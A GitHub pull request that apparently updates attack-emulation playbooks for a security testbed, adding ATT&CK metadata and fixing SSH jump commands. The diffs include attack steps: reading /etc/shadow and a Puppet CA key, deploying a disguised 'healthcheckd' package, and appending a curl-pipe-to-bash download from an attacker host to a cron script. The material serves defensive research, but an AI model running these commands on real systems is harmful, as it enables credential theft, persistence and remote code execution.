-
Notifications
You must be signed in to change notification settings - Fork 4
Fixes scenario 3 and 4 #80
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
thorinaboenke
wants to merge
8
commits into
main
Choose a base branch
from
fix_sceanrio_3
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
74e47f8
fix ssh command via admin server
thorinaboenke 3e23687
version unattended upgrades in testbed repo
thorinaboenke 443c3a6
add sceanrio d_a tag to playbook scenario1
thorinaboenke 8fcf449
add action metadata, use correct session in 3_b_d
thorinaboenke 9d0261a
correct comand delay scenario4
thorinaboenke 49b9db2
add sleeps scenario4
thorinaboenke e8f1876
up filebeat version
thorinaboenke f93f707
add comments
thorinaboenke File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -156,6 +156,7 @@ | |
| owner: "root" | ||
| mode: "0755" | ||
| tags: | ||
| - scenario_1_d_a | ||
| - scenario_1_e_a | ||
| - scenario_1_c_a | ||
|
|
||
|
|
||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -7,7 +7,8 @@ vars: | |
| $SERVER_ADDRESS: fw.attackbed.com | ||
| $ATTACKER_ADDRESS: 192.42.1.174 | ||
| $DNS_SERVER: 192.42.0.233 | ||
| $ADMIN_SERVER: 10.12.0.222 | ||
| $ADMIN_SERVER: 10.12.0.223 | ||
| $MGMT_IP: 192.42.0.201 | ||
|
|
||
| commands: | ||
| - type: shell | ||
|
|
@@ -256,11 +257,6 @@ commands: | |
| cmd: "cd /var/www/html/debian/\n" | ||
| interactive: True | ||
|
|
||
| # - type: ssh | ||
| # session: foothold | ||
| # cmd: "rm healthcheckd_1.0-1_amd64.deb\n" | ||
| # interactive: True | ||
|
|
||
| - type: ssh | ||
| session: foothold | ||
| cmd: "dpkg-scanpackages . | gzip -c9 > Packages.gz\n" | ||
|
|
@@ -270,15 +266,9 @@ commands: | |
| tactics: "Execution,Lateral Movement" | ||
| technique_name: "Software Deployment Tools" | ||
|
|
||
|
|
||
| - type: ssh | ||
| cmd: echo "ssh -i .ssh/rootkey -o StrictHostKeyChecking=no [email protected] \"apt update && apt install -y healthcheckd\"" | at now + 2 minute | ||
| hostname: $ADMIN_SERVER | ||
| username: aecid | ||
| password: aecid | ||
| jmp_hostname: 192.42.2.42 | ||
| clear_cache: True | ||
| exit_on_error: False | ||
| # connect via jumphost to admin host, that ssh to linuxshare | ||
| - type: shell | ||
| cmd: ssh -i ~/.ssh/attacker_mgmt -o StrictHostKeyChecking=no -o "ProxyCommand=ssh -i ~/.ssh/attacker_mgmt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -W %h:%p aecid@$MGMT_IP" [email protected] 'echo "ssh -i .ssh/rootkey -o StrictHostKeyChecking=no [email protected] '\''apt update && apt install -y healthcheckd'\''" | at now + 2 minute' | ||
| metadata: | ||
| delayed_manifestation: "120s" | ||
|
|
||
|
|
||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -5,7 +5,7 @@ | |
| #################### | ||
|
|
||
| # for vnc connection to the display, tunnel with : ssh -J aecid@<mgmt-ip> -L 5901:172.17.100.122:5901 [email protected] | ||
| # then vncviewer localhost:5091 | ||
| # then vncviewer localhost:5901 | ||
|
|
||
| vars: | ||
| $SERVER_ADDRESS: fw.attackbed.com | ||
|
|
@@ -87,6 +87,7 @@ commands: | |
| techniques: "T1021.005" | ||
| tactics: "Lateral Movement" | ||
| technique_name: "Remote Services: VNC" | ||
| action: "terminal" | ||
|
|
||
| - type: sleep | ||
| seconds: 3 | ||
|
|
@@ -107,6 +108,7 @@ commands: | |
| techniques: "T1021.005" | ||
| tactics: "Lateral Movement" | ||
| technique_name: "Remote Services: VNC" | ||
| action: "sudo -i" | ||
|
|
||
| - type: sleep | ||
| seconds: 3 | ||
|
|
@@ -124,6 +126,8 @@ commands: | |
| session: foothold | ||
| cmd: type | ||
| input: "id" | ||
| metadata: | ||
| action: "id" | ||
|
|
||
| - type: sleep | ||
| seconds: 3 | ||
|
|
@@ -141,6 +145,8 @@ commands: | |
| session: foothold | ||
| cmd: type | ||
| input: "cat /etc/shadow" | ||
| metadata: | ||
| action: "cat /etc/shadow" | ||
|
|
||
| - type: sleep | ||
| seconds: 3 | ||
|
|
@@ -162,6 +168,8 @@ commands: | |
| session: foothold | ||
| cmd: type | ||
| input: "cat /etc/puppetlabs/puppetserver/ca/ca_key.pem" | ||
| metadata: | ||
| action: "cat /etc/puppetlabs/puppetserver/ca/ca_key.pem" | ||
|
|
||
| - type: sleep | ||
| seconds: 3 | ||
|
|
@@ -183,6 +191,8 @@ commands: | |
| session: foothold | ||
| cmd: type | ||
| input: "cat /media/share/healthcheck_cron.sh" | ||
| metadata: | ||
| action: "cat /media/share/healthcheck_cron.sh" | ||
|
|
||
| - type: sleep | ||
| seconds: 3 | ||
|
|
@@ -208,6 +218,7 @@ commands: | |
| techniques: "T1105,T1059.004,T1053.003,T1021.005,T1071.001" | ||
| tactics: "Execution,Defense Evasion,Persistence,Command and Control" | ||
| technique_name: "Ingress Tool Transfer,Command and Scripting Interpreter: Unix Shell,Scheduled Task/Job: Cron,Remote Services: VNC,Application Layer Protocol: Web Protocols" | ||
| action: "echo 'curl http://$ATTACKER_ADDRESS:8888/install.sh | bash' >> /media/share/healthcheck_cron.sh" | ||
|
|
||
| - type: sleep | ||
| seconds: 2 | ||
|
|
||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
not a good idea. we might have tar.gz files somewhere in ansible/run